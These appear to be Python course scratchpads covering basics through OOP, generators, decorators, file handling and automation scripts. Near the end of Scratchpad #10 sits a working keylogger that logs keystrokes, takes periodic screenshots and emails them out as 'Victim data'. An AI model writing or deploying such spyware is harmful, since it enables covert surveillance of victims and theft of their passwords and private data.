Python Sunday 18-12-2022
Python Sunday 18-12-2022
Scratchpad #1
# # # some explanation # # # ignored # # print("Hello World") # # print(100 + 5) # Some comment # high_score = 10 # snake casing # player_1_high_score = 20 # highScore = 10 # camel case # HighScore = 10 # Pascal case # # high-score = 10 # kebab case # DAYS_IN_A_WEEK = 7 # GST_RATE = 18 # __high_score__ = 10 # score = 10 # score: int = 10 # score = True # print(score)
Scratchpad #2
# # name = "John Doe" # # # name.lower().find("john") # # name.find("Doe").upper() # # print("Please enter an amount in US dollars") # # usd = float(input("Please enter an amount in US dollars: ")) # # inr = usd * 80 # # print(f"${usd} is Rs. {inr}") # # name = input("Please enter your name: ") # # if name == "john": # # print("Hello John") # # print("Hello World") # # elif name == "jane": # # print("Hello Jane") # # elif name == "jack": # # print("Hello jack") # # else: # # print("I don't know this name") # # age = int(input("Please enter your age: ")) # # if age >= 18 and age < 21: # # print("You can enter, but you cannot drink") # # elif age >= 21 and age < 65: # # print("You can enter and you can drink") # # elif age >= 65: # # print("Drinks are free") # # else: # # print("You aren't allowed") # # logged_in_user = None # # if logged_in_user: # # print("Welcome") # # else: # # print("Please login to view content") # # age = input("Please enter your age: ") # # if age: # # age = int(age) # # if age >= 18 and age < 21: # # print("You can enter, but you cannot drink") # # elif age >= 21 and age < 65: # # print("You can enter and you can drink") # # elif age >= 65: # # print("Drinks are free") # # else: # # print("You aren't allowed") # # else: # # print("Please type something") player1 = input("Enter player 1's choice: ") player2 = input("Enter player 2's choice: ") if ((player1 == "rock" and player2 == "scissors") or (player1 == "paper" and player2 == "rock") or (player1 == "scissors" and player2 == "paper")): print("Player 1 wins") elif ((player2 == "rock" and player1 == "scissors") or (player2 == "paper" and player1 == "rock") or (player2 == "scissors" and player1 == "paper")): print("Player 2 wins") elif player1 == player2: print("Tie") else: print("Something went wrong") # for char in "hello world": # print(char) # for num in range(1, 999): # print(num) # for num in range(1, 10): # print(num) # for num in range(0, 11, 5): # print(num) # for num in range(10, 0, -2): # print(num) # for num in range(1, 21): # if num == 5 or num == 16: # print("FizzBuzz") # elif num % 2 == 0: # print(f"{num} - Fizz is Even") # elif num % 2 != 0: # print(f"{num} - Fizz is Odd") # password = input("Please enter your password: ") # while password != "hello": # print("Incorrect password. Please try again.") # password = input("Please enter your password: ") # name = "John Doe" # for char in name: # print(char) # count = 0 # while count < len(name): # print(name[count]) # count += 1 password = input("Please enter your password: ") while True: if password == "hello": break print("Incorrect password. Please try again.") password = input("Please enter your password: ")
Scratchpad #3
# nums = [1, 2, 3, 4] # doubles = [num * 2 for num in nums] # [2, 4, 6, 8] # # doubles = [] # # for num in nums: # # doubles.append(num * 2) # print(doubles) # nums = [1, 2, 3, 4] # # evens = [num for num in nums if num % 2 == 0] # nums2 = [num * 2 if num % 2 == 0 else num / 2 for num in nums] # print(nums2) # l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # for item in l: # for num in item: # print(num) # l = [[[1, 2, 3], [1, 2, 3, 4], [123, 2, 3], [123, 2, 3], [123, 2, 3]], # [[1, 2, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]]] # total # even total # negative list # while loop product = { "price": 100000, "brand": "Apple", "in_stock": 500, "description": "Some desc...", "name": "iPhone", } # product = [0: "iPhone", 1: 100000, 2: "Apple", 3: 500, 4: "Some desc..."] product = { "description": "Some desc...", "name": "iPhone", "in_stock": 500, "price": [ 100000, 20000, ], "brand": "Apple", } print(product["in_stock"]) # https://labs.rstforum.net/registration
Scratchpad #4
# # book = { # # "name": "The theory of everything", # # "author": "Stephen Hawking", # # "pages": 140, # # "language": "English", # # "in_stock": True, # # } # # print(book["language"]) # # a = ["hello", "world", "universe", "galaxy"] # # for num in a: # # print(num) # book = { # "name": "The theory of everything", # "author": "Stephen Hawking", # "pages": 140, # "language": "English", # "in_stock": True, # } # # for item in book.values(): # # print(item) # # for key in book.keys(): # # print(key, book[key]) # # for item in book.items(): # # print(item[0], item[1]) # for key, value in book.items(): # print(key, value) # {num: num**3 for num in [1, 2, 3, 4, 5]} # # {1: 1, 2: 8, 3: 27, 4: 64, 5: 125} # str1 = "ABC" # str2 = "123" # combined = {str1[i]: str2[i] for i in range(0, len(str1))} # # {'A': '1', 'B': '2', 'C': '3'} # def say_hello(): # print("Hello") # print("Hello") # print("Hello") # print("Hello") # say_hello() import random def flip_coin(): result = random.random() if result > 0.5: return "Heads" else: return "Tails" flip_coin() # result = type([1, 2, 3]) # print(result) # first_name = "John" # print(first_name.upper())
Scratchpad #5
# # def greet(): # # return "Hello World" # # result = greet() # # print(result) # # def add(a, b): # # return a + b # # print(add(10, 5, 213)) # # def profile(first_name, last_name, age): # # print(first_name) # # profile() # # def sum_odd_numbers(numbers): # # total = 0 # # for num in numbers: # # if num % 2 != 0: # # total += num # # return total # # print(sum_odd_numbers([1, 2, 3, 4, 5])) # # def is_odd_number(number): # # if number % 2 != 0: # # return True # # return False # # print(is_odd_number(3)) # # def multiply(a=1, b=1): # # return a * b # # print(multiply(10, 2)) # # def add(a, b): # # return a + b # # hello = add # # print(hello(10, 5)) # # hello = add # # print(add(10, 5)) # # def add(a, b): # # return a + b # # def sub(a, b): # # return a - b # # def math(a=1, b=1, fn=add): # # return fn(a, b) # # print(math(10, 5, sub)) # # def add(a=1, b=1): # # return a + b # # add(10) # # def full_name(first_name="test", last_name="name"): # # print(f"My name is {first_name} {last_name}") # # # full_name("Doe", "John") # # full_name(last_name="Doe", first_name="John") # # full_name = "john doe" # # def greet(): # # full_name = "Jane smith" # # print(full_name) # # greet() # # print(full_name) # total = 0 # print("Current", total) # def func(): # global total # total += 10 # print(total) # func() # print("Final", total) # def outer(): # count = 0 # def inner(): # nonlocal count # count += 10 # print(count) # inner() # outer() # total = 0 # def func(): # global total # total += 10 # func() # print(total) # def func2(val): # return val + 10 # total = func2(total) # print(total) # def add(a, b): # """Adds two numbers and returns the result""" # return a + b # print(add(10, 5)) # print(add.__doc__) # print([].extend.__doc__) # reverse_str("hello") # olleh # capitalize_str("hello my name is john") # Hello My Name Is John # count("hello i am john") # 12 # find_negatives(111,2,3,-23,-6,12,4,-113) # [-23,-6,-113] (*nums) # make_positives(111,2,3,-23,-6,12,4,-113) # [111,2,3,23,6,12,4,113] # def add(first, *nums): # total = 0 # for num in nums: # total += num # return total # print(add( # 10, # 5, # 12, # 34, # 12, # 4, # 56, # )) # def profile(nick_name, **values): # print(nick_name, values) # profile(nick_name="J", # first_name="John", # last_name="Doe", # age=20, # profession="developer") # def show_info(a, b, *args, role="moderator", **kwargs): # return [a, b, args, role, kwargs] # print( # show_info(10, # 15, # 20, # 21, # 22, # 23, # role="admin", # first_name="john", # last_name="doe")) # def add(*nums): # total = 0 # for num in nums: # total += num # return total # values = [12, 234, 45, 3, 2, 33, 56, 2, 323] # print(add(*values)) # def say_name(first, last): # print(f"My name is {first} {last}.") # # say_name(first="jane", last="doe") # name = {"first": "Robert", "last": "Moore"} # say_name(**name) # def add(a, b): # return a + b # add2 = lambda a, b: a + b # print(add2(10, 5)) # def add(a, b): # return a + b # def sub(a, b): # return a - b # def mul(a, b): # return a * b def math(a, b, fn): return fn(a, b) # print(math(10, 5, mul)) print(math(10, 5, lambda a, b: a / b))
Scratchpad #6
# # # nums = [1, 2, 3, 4, 5, 6, 7, 8] # # # doubles = [num * 2 for num in nums] # # # def doubleNum(x): # # # return x * 2 # # # doubles = map(doubleNum, nums) # # # doubles = map(lambda x: x * 2, nums) # # # print(list(doubles)) # # # nums = [1, 2, 3, 4, 5, 6, 7, 8] # # # # evens = [num for num in nums if num % 2 == 0] # # # evens = filter(lambda num: num % 2 == 0, nums) # # # print(list(evens)) # # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob'] # # # results = filter(lambda name: len(name) < 5, names) # # # modified = map(lambda name: f"The one who wins is {name}", results) # # # # print(list(modified)) # # print( # # list( # # map(lambda name: f"The one who wins is {name}", # # filter(lambda name: len(name) < 5, names)))) # # ------------------------------------------------------------- # import random # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", # "Queen", "King") # NCARD = 8 # def get_card(deck_list_in): # this_card = deck_list_in.pop() # return this_card # def shuffle(deck_list_in): # deck_list_out = deck_list_in.copy() # random.shuffle(deck_list_out) # return deck_list_out # print("Welcome to higher or lower.") # print( # "You have to choose whether the next card to be shown will be higher or lower than the current card" # ) # print( # "Getting it right add 20 points; get it wrong and you will lose 15 points." # ) # print("You have 50 points to start.") # print() # starting_deck_list = [] # for suit in SUIT_TUPLE: # for this_value, rank in enumerate(RANK_TUPLE): # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1} # starting_deck_list.append(card_dict) # score = 50 # while True: # print() # game_deck_list = shuffle(starting_deck_list) # current_card_dict = get_card(game_deck_list) # current_card_rank = current_card_dict["rank"] # current_card_value = current_card_dict["value"] # current_card_suit = current_card_dict["suit"] # print(f"Starting card is {current_card_rank} of {current_card_suit}") # print() # for card_number in range(0, NCARD): # answer = input( # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): " # ) # answer = answer.casefold() # next_card_dict = get_card(game_deck_list) # next_card_rank = next_card_dict["rank"] # next_card_value = next_card_dict["value"] # next_card_suit = next_card_dict["suit"] # print(f"Next card is {next_card_rank} of {next_card_suit}") # if answer == 'h': # if next_card_value > current_card_value: # print("You got it right, it was higher") # score += 20 # else: # print("Sorry, it was not higher") # score -= 15 # elif answer == 'l': # if next_card_value < current_card_value: # print("You got it right, it was lower") # score += 20 # else: # print("Sorry, it was not lower") # score -= 15 # print(f"Your score is: {score}") # print() # current_card_rank = next_card_rank # current_card_value = next_card_value # current_card_suit = next_card_suit # go_again = input("To play again, press ENTER, or 'q' to quit: ") # if go_again == 'q': # break # print("Thanks for playing. Good bye. ") def printText(text, color): colors = ('red', 'yellow', 'green', 'blue', 'white') if type(text) is not str: raise TypeError('text should be a str') elif type(color) is not str: raise TypeError('color should a str') elif color not in colors: raise ValueError("This color is not supported") print(text) try: printText('hello world', 'lkasdmd') except ( ValueError, TypeError, ) as err: print("Something went wrong", err) try: printText('hello world', 'lkasdmd') except Exception as err: print("Something went wrong", err)
Scratchpad #7
def create_user(first_name, last_name, age, email, password, phone_no): return { "first_name": first_name, "last_name": last_name, "age": age, "email": email, "password": password, "phone_no": phone_no } def user_login(user, email, password): if email == user["email"] and password == user["password"]: return True else: raise ValueError("Incorrect username or password") def user_logout(user): print(f"{user['email']} has logged out successfully") return True def edit_user_email(user, new_email): return {**user, "email": new_email} # john = create_user("John", "Doe", 20, "[email protected]", "test123", # "+91 9876654321") # # print(user_login(john, "[email protected]", "test123")) # # user_logout(john) # print(john) # john = edit_user_email(john, "[email protected]") # print(john) def user(first_name, last_name, age, email, password, phone_no): user = { "first_name": first_name, "last_name": last_name, "age": age, "email": email, "password": password, "phone_no": phone_no } def login(password): if password == user["password"]: return True else: raise ValueError("Incorrect username or password") def logout(): print(f"{user['email']} has logged out successfully") return True return {**user, "login": login, "logout": logout} john = user("John", "Doe", 20, "[email protected]", "test123", "+91 9876654321") jane = user("Jane", "Smith", 23, "[email protected]", "test123", "+91 9765543219") # print(john) # print(jane["age"]) # # print(john["last_name"]) # print(john["login"]("test123")) # # print(john) class User: def __init__(self, first_name, last_name, age, email, password, phone_no): self.first_name = first_name self.last_name = last_name self.age = age self.email = email self.password = password self.phone_no = phone_no self._balance = 0 def get_balance(self): print(f"Your current balance is {self._balance}") return self._balance def deposit(self, amount): self._balance = self._balance + amount print( f"Rs. {amount} was added to your account. New balance: {self._balance}" ) john1 = User("John", "Doe", 20, "[email protected]", "test123", "+91 9876654321") jane1 = User("Jane", "Smith", 23, "[email protected]", "test123", "+91 9765543219") # print(john["age"]) # print() # print(john1._balance) # john1._balance = 1000 # john1.email = "[email protected]" # print(john1._balance) # print(john1.email) # print(type(john)) # print(type(john1)) john1.deposit(10000) john1.get_balance()
Scratchpad #8
# # # # class User: # base/parent class # # # # total_users = 0 # # # # def __init__(self, first_name, last_name, age): # # # # self.first_name = first_name # # # # self.last_name = last_name # # # # self._age = age # # # # User.total_users += 1 # # # # def __repr__(self): # # # # return f"First name: {self.first_name}\nLast Name: {self.last_name}" # # # # @classmethod # # # # def get_total_users(cls): # # # # return cls.total_users # # # # @property # # # # def age(self): # # # # print("Some logic") # # # # return self._age # # # # @age.setter # # # # def age(self, new_age): # # # # if type(new_age) != int: # # # # raise TypeError("Age has to be a number") # # # # if new_age < 18 or new_age > 100: # # # # raise ValueError('Please enter a valid age') # # # # self._age = new_age # # # # return self._age # # # # def get_age(self): # # # # print("Some logic") # # # # return self._age # # # # def set_age(self, new_age): # # # # if type(new_age) != int: # # # # raise TypeError("Age has to be a number") # # # # if new_age < 18 or new_age > 100: # # # # raise ValueError('Please enter a valid age') # # # # self._age = new_age # # # # return self._age # # # # # user1 = User("Jane", "Doe", 20) # # # # # user1.age = 67 # # # # # print(user1.age) # # # # # # user2 = User("John", "Smith", 25) # # # # # # print(user1) # # # # # # print(user2) # # # # # # user1._age = 305 # # # # # # user1.set_age(45) # # # # # # print(user1.get_age()) # # # # # # print(user1.total_users) # # # # # # print(user2.total_users) # # # # # # print(User.total_users) # # # # # # user3 = User("Jack", "Smith", 34) # # # # # # # print(User.total_users) # # # # # # print(User.get_total_users()) # # # # class Admin(User): # sub/child class # # # # def __init__(self, first_name, last_name, age, phone, email): # # # # super().__init__(first_name, last_name, age) # # # # self.phone = phone # # # # self.email = email # # # # def __repr__(self): # # # # return self.first_name # # # # def create_group(self, group_name): # # # # print(f"{group_name} was created") # # # # user1 = User("Jane", "Doe", 20) # # # # user2 = Admin("John", "Smith", 25, 123456, "[email protected]") # # # # print(user2.email) # # # # # # print(user1.create_group("Python")) # # # # # # print(user2.create_group("Python")) # # # # class Human: # # # # def __init__(self, name, age): # # # # self.name = name # # # # self.age = age # # # # def greet(self): # # # # print("Hello World") # # # # class Animal: # # # # def __init__(self, name, age): # # # # self.name = name # # # # self.age = age # # # # def greet(self): # # # # print("asdasdasdasdasdfsdf") # # # # class Mutant(Human, Animal): # # # # pass # # # # u1 = Human("John", 20) # # # # u2 = Animal("Tom", 5) # # # # u3 = Mutant("Jack", 30) # # # # # u1.greet() # # # # # u2.greet() # # # # u3.greet() # # # class User: # base/parent class # # # total_users = 0 # # # def __init__(self, first_name, last_name, age): # # # self.first_name = first_name # # # self.last_name = last_name # # # self._age = age # # # User.total_users += 1 # # # # def __repr__(self): # # # # return f"First name: {self.first_name}\nLast Name: {self.last_name}" # # # def __len__(self): # # # return self._age # # # def __add__(self, user): # # # return User("new", "user", 0) # # # @classmethod # # # def get_total_users(cls): # # # return cls.total_users # # # @property # # # def age(self): # # # print("Some logic") # # # return self._age # # # @age.setter # # # def age(self, new_age): # # # if type(new_age) != int: # # # raise TypeError("Age has to be a number") # # # if new_age < 18 or new_age > 100: # # # raise ValueError('Please enter a valid age') # # # self._age = new_age # # # return self._age # # # def create_group(self, group_name): # # # print(f"{group_name} was created") # # # class Admin(User): # sub/child class # # # def __init__(self, first_name, last_name, age, phone, email): # # # super().__init__(first_name, last_name, age) # # # self.phone = phone # # # self.email = email # # # def __repr__(self): # # # return self.first_name # # # def create_group(self, group_name): # # # print(f"{group_name}") # # # # print("hello" + "world") # # # user1 = User("Jane", "Doe", 20) # # # user2 = Admin("John", "Smith", 25, 123456, "[email protected]") # # # # user1.create_group("hello world") # # # # user2.create_group("hello world") # # # print(user1 + user2) # # # a = [1, 2, 3, 4, 5] # # # for num = next(ia) in ia = iter(a): # # # try: # # # print(num) # # # except StopIteration: # # # break # # # def myfor(iterable): # # # iterator = iter(iterable) # # # while True: # # # try: # # # print(next(iterator)) # # # except StopIteration: # # # break # # # myfor([1, 2, 3, 43, 45]) # # # vals = map(lambda num: print(num), range(10)) # # # print(list(vals)) # # def myfor(func, iterable): # # iterator = iter(iterable) # # while True: # # try: # # func(next(iterator)) # # except StopIteration: # # break # # myfor(lambda num: print(num), range(10)) # # class Counter: # # def __init__(self, start, end, step=1): # # self.start = start # # self.end = end # # self.step = step # # def __iter__(self): # # return self # # def __next__(self): # # if self.start < self.end: # # num = self.start # # self.start += self.step # # return num # # else: # # raise StopIteration # # r = range(0, 100) # # c = Counter(0, 100, 10) # # # for num in r: # # # print(num) # # # for num = next(c) in c = iter(c): # # # print(num) # # for num in c: # # print(num) # def count_up_to(start, end, step=1): # count = start # while count <= end: # yield count # count += step # result = count_up_to(10, 50) # print(next(result)) # print(next(result)) # print(next(result)) # print(next(result)) # print(next(result)) # # for num in result: # # print(num) def fib_list(max): nums = [] a, b = 0, 1 while len(nums) < max: nums.append(b) a, b = b, a + b return nums def fib_gen(max): a, b = 0, 1 count = 0 while count < max: a, b = b, a + b yield a count += 1 for num in fib_gen(10000000000000000): print(num) # print(fib_list(10000000000000000)) # print(fib_gen(10000000000000000))
Scratchpad #9
# # def math(a, b, fn): # # return fn(a, b) # # print(math(10, 5, lambda a, b: a + b)) # # def sum(n, func): # # total = 0 # # for num in range(1, n + 1): # # total += func(num) # # return total # # print(sum(10, lambda n: n**2)) # import random # # def greet(person): # # def get_mood(): # # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # # msg = random.choice(mood) # # return msg # # result = f"{get_mood()} {person}" # # return result # # print(greet("John")) # # def make_greet_func(person): # # def make_message(): # # msg = random.choice( # # ["Hello", "What!", "What the heck do you want!", "Get lost!"]) # # return f"{msg} {person}" # # return make_message # # hello = make_greet_func("John") # # hello_jane = make_greet_func("Jane") # # print(hello_jane()) # # def stars(fn): # # def wrapper(): # # print("*" * 10) # # fn() # # print("*" * 10) # # return wrapper # # @stars # say_hello = stars(say_hello) # # def say_hello(): # # print("Hello World") # # # say_hello = stars(say_hello) # # say_hello() # # from functools import wraps # # def make_upper_case(fn): # # """Decorator function that uppercases the target functions's return string""" # # @wraps(fn) # wrapper = wraps(wrapper) # # def wrapper(*args, **kwargs): # # """Wrapper function""" # # return fn(*args, **kwargs).upper() # # return wrapper # # @make_upper_case # say_hello = wrapper # # def say_hello(person): # # """Function that accepts a person's name and greets them""" # # return f"Hello {person}" # # # print(say_hello("John")) # # print(say_hello.__name__) # # print(say_hello.__doc__) # # def ensure_first_arg_is(val): # # def inner(fn): # # def wrapper(*args, **kwargs): # # if args and args[0] != val: # # raise ValueError(f"First arg needs to be {val}") # # else: # # return fn(*args, **kwargs) # # return wrapper # # return inner # # # top_users = ensure_first_arg_is('jane')(top_users) # # @ensure_first_arg_is('jane') # # def top_users(*names): # # print(names) # # top_users("jane", "jack", "john", "james") # def enforce(*types): # def inner(fn): # def wrapper(*args, **kwargs): # new_args = [] # ["1000", 10] # for a, t in zip(args, types): # [(1000, str), ("10", int)] # try: # new_args.append(t(a)) # except: # print("Something went wrong") # return "Something went wrong" # return fn(*new_args) # return wrapper # return inner # @enforce(str, int) # def announce(msg, times): # print((msg + "\n") * times) # announce("hello world", 20) # announce(1000, "10") # str_reverse("hello") # "olleh" # def str_reverse(val): # return # Bank # attributes: name, intials, address, phone: [strings], IFSC, branch, MICR, customers [Customer Objects] # methods: update_name(), update...., # add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance) -> Customer # customer = Customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance) # self.customers.append(customer) # return customer # remove_customer(acc_no) # Customer # attributes: first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance=0, account_no # methods: update_details(), deposit(1000), withdraw(100) # sbi = Bank("State bank of India", "SBI", "...", ["...", "..."], "12312", "Dadar", "1234234") # sbi.add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance) # john = Customer() XXXXXXXXXXXXXX # import random # def gen_account_no(length=10): # alpha_num = "ABCEFGHIJKLMNOPQRSTUVWXYZ1234567890" # acc_no = "" # for num in range(length): # acc_no += random.choice(alpha_num) # return acc_no # print(gen_account_no()) # class Bank: # def __init__(self, name, intials, address, phone, IFSC, branch, MICR): # self.name = name # # ... # self.customers = [] # def add_customer(self, first_name, middle_name, last_name, address, phone, # aadhar_no, pan_no, account_no): # print("I REACHED HERE 1") # acc_no = gen_account_no(9) # new_customer = Customer(first_name, middle_name, last_name, address, # phone, aadhar_no, pan_no, acc_no) # self.customers.append(new_customer) # return new_customer # sbi # john = sbi.add_customer() # john.deposit(10000) from csv import reader # file = open("hello.csv") # csv_reader = reader(file) # print(list(csv_reader)) def reader(file): data = file.read() data = [row.split(',') for row in data.split("\n")] print(data) f = open("hello.csv") reader(f) # ================================ # ==== =========================
Scratchpad #10
# # # from csv import reader, DictReader, writer, DictWriter # # # with open("hello.csv") as file: # # # csv_reader = reader(file) # # # print(list(csv_reader)) # # # with open("hello.csv") as file: # # # csv_reader = DictReader(file) # # # print(list(csv_reader)) # # # with open("pokemon.csv", "w", newline="") as file: # # # csv_writer = writer(file) # # # csv_writer.writerow(["Name", "Ability", "Points"]) # # # csv_writer.writerow(["Pikachu", "Shock", "10"]) # # # csv_writer.writerow(["Raichu", "Shock", "20"]) # # # with open("pokemon.csv", "w", newline="") as file: # # # headers = ["Name", "Ability", "Points"] # # # csv_writer = DictWriter(file, fieldnames=headers) # # # csv_writer.writeheader() # # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20}) # # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20}) # # # csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20}) # # # import pickle # # # import json # # # import jsonpickle # # # class User: # # # def __init__(self, first_name, last_name, age): # # # self.first_name = first_name # # # self.last_name = last_name # # # self.age = age # # # def greet(self): # # # print( # # # f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old." # # # ) # # # def __repr__(self): # # # return self.first_name # # # user1 = User("Jane", "Doe", 20) # # # user1.greet() # # # with open("users.pickle", "wb") as file: # # # pickle.dump(user1, file) # # # with open("users.pickle", "rb") as file: # # # data = pickle.load(file) # # # data.greet() # # # user1 = User("Jane", "Doe", 20) # # # user2 = User("John", "Smith", 30) # # # # print(json.dumps(user1.__dict__)) # # # with open("users.json", "w") as file: # # # stored = jsonpickle.encode((user1, user2)) # # # file.write(stored) # # # with open("users.json") as file: # # # contents = file.read() # # # restored_data = jsonpickle.decode(contents) # # # print(restored_data) # # import re # # # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}") # # # # result = pattern.search("Call us today at 022 23456789 or 022 2345 9876") # # # # print(result.group()) # # # result = pattern.findall("Call us today at 022 23456789 or 022 2345 9876") # # # print(result) # # def is_valid_phone(phone): # # # phone_regex = re.compile(r"^\d{3}\s?\d{4}\s?\d{4}$") # # phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}") # # match = phone_regex.fullmatch(phone) # # if match: # # return True # # return False # # print(is_valid_phone("02223456789")) # # # # from datetime import datetime # import threading # import multiprocessing # def dummy_func(x): # print(f"Job-{x} started: {datetime.now()}") # a = [] # for i in range(30000): # for j in range(2000): # a.append([i, j]) # a.clear() # print(f"Job-{x} ended: {datetime.now()}") # # start_time = datetime.now() # # dummy_func(1) # # dummy_func(2) # # dummy_func(3) # # dummy_func(4) # # print(f"Total time taken: {datetime.now() - start_time}") # if __name__ == "__main__": # # t1 = threading.Thread(target=dummy_func, args=(1, )) # # t2 = threading.Thread(target=dummy_func, args=(2, )) # # t3 = threading.Thread(target=dummy_func, args=(3, )) # # t4 = threading.Thread(target=dummy_func, args=(4, )) # # start_time = datetime.now() # # t1.start() # # t2.start() # # t3.start() # # t4.start() # # t1.join() # # t2.join() # # t3.join() # # t4.join() # # print(f"Total time taken: {datetime.now() - start_time}") # p1 = multiprocessing.Process(target=dummy_func, args=(1, )) # p2 = multiprocessing.Process(target=dummy_func, args=(2, )) # p3 = multiprocessing.Process(target=dummy_func, args=(3, )) # p4 = multiprocessing.Process(target=dummy_func, args=(4, )) # start_time = datetime.now() # p1.start() # p2.start() # p3.start() # p4.start() # p1.join() # p2.join() # p3.join() # p4.join() # print(f"Total time taken: {datetime.now() - start_time}") import pyautogui from pynput.keyboard import Key, Listener from time import sleep from datetime import datetime import yagmail count = 0 keys = [] try: def on_press(key): global keys, count keys.append(key) count += 1 if count >= 10: write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: f.write(" ") elif k.find("cap_lock") > 0: f.write("<CAP_LOCK>") elif k.find("enter") > 0: f.write("\n") elif k.find("Key") == -1: f.write(k) def on_release(key): if key == Key.esc: return False def take_screenshot(): screen = pyautogui.screenshot() screen.save("screenshot.png") def send_email(): receiver_email = "" subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}" yag = yagmail.SMTP("", "") contents = [ "<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>" ] attachments = ["log.txt", "screenshot.png"] yag.send(receiver_email, subject, contents, attachments) print("Email sent") with Listener(on_press=on_press, on_release=on_release) as listener: while True: sleep(20) take_screenshot() send_email() listener.join() except KeyboardInterrupt: print("Program closed")
Scratchpad #11
# import paramiko # HOST = '' # USER = '' # PASSWORD = '' # ssh = paramiko.SSHClient() # ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # ssh.connect(HOST, username=USER, password=PASSWORD) # stdin, stdout, stderr = ssh.exec_command("sudo apt-get update") # print(stdout.read().decode()) # stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2") # print(stdout.read().decode()) # html = "<html><body><h1>Hello World from Python!</h1></body></html>" # stdin, stdout, stderr = ssh.exec_command( # f"echo '{html}' | sudo tee /var/www/html/index.html") # print(stdout.read().decode()) # stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start") # print(stdout.read().decode()) # ssh.close() # ------------------------------------------------------------------------- # from ncclient import manager # HOST = '' # USER = '' # PASSWORD = '' # with manager.connect(host=HOST, # username=USER, # password=PASSWORD, # hostkey_verify=False) as m: # commands = [ # 'set interfaces ge-0/0/0 unit 0 family inet address 192.0.2.1/24', # 'set routing-options static route 0.0.0.0/0 next-hop 192.0.2.254' # ] # for command in commands: # m.edit_config(target="candidate", config=command) # m.commit() # print("Successfully sent configuirations to the router.") # ------------------------------------------------------------------------- # import os # import time # import pyautogui # filename = "example.txt" # content = "This is some dummy text. Hello World!" # pyautogui.press('winleft') # pyautogui.write('notepad') # pyautogui.press('enter') # time.sleep(1) # pyautogui.write(content) # pyautogui.hotkey('ctrl', 's') # time.sleep(1) # pyautogui.write(os.path.join(os.path.expanduser("~"), "Downloads", filename)) # pyautogui.press('enter') # time.sleep(1) # print(f"Successfully created file {filename} in the Downloads folder") # # ------------------------------------------------------------------------- # from pytube import YouTube # video_url = input("Enter the YouTube video URL: ") # YouTube( # 'https://www.youtube.com/watch?v=qEVUtrk8_B4').streams.first().download() # # yt = YouTube(video_url) # # stream = yt.streams # # stream.download() # # print(f"Successfully downloaded video {yt.title} to the current directory") # ------------------------------------------------------------------------- # from selenium import webdriver # from selenium.webdriver.common.keys import Keys # from selenium.webdriver.common.by import By # from time import sleep # browser = webdriver.Chrome("chromedriver.exe") # browser.maximize_window() # browser.get("https://www.youtube.com/") # sleep(3) # search_box = browser.find_element( # By.XPATH, # "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input" # ) # search_box.click() # search_box.send_keys("john wick 4 trailer", Keys.ENTER) # sleep(3) # # video = browser.find_element( # # By.XPATH, # # '/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string' # # ) # # video.click() # video = browser.find_element(By.PARTIAL_LINK_TEXT, # "John Wick 4 New Trailer | Hindi") # sleep(1) # video.click() # sleep(10) # browser.close() # ------------------------------------------------------------------------- from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from time import sleep browser = webdriver.Chrome("chromedriver.exe") browser.maximize_window() browser.get("https://web.whatsapp.com/") sleep(30) search_box = browser.find_element( By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[1]/p") search_box.click() sleep(1) search_box.send_keys("Python Sunday RS 11/12/22", Keys.ENTER) sleep(2) message_box = browser.find_element( By.XPATH, "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p" ) message_box.click() # sleep(1) message_box.send_keys("Hello World", Keys.ENTER) sleep(2) for num in range(10): message_box = browser.find_element( By.XPATH, "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]" ) message_box.click() message_box.send_keys("Hello World", Keys.ENTER) sleep(1) sleep(30) browser.close()
Scratchpad #12
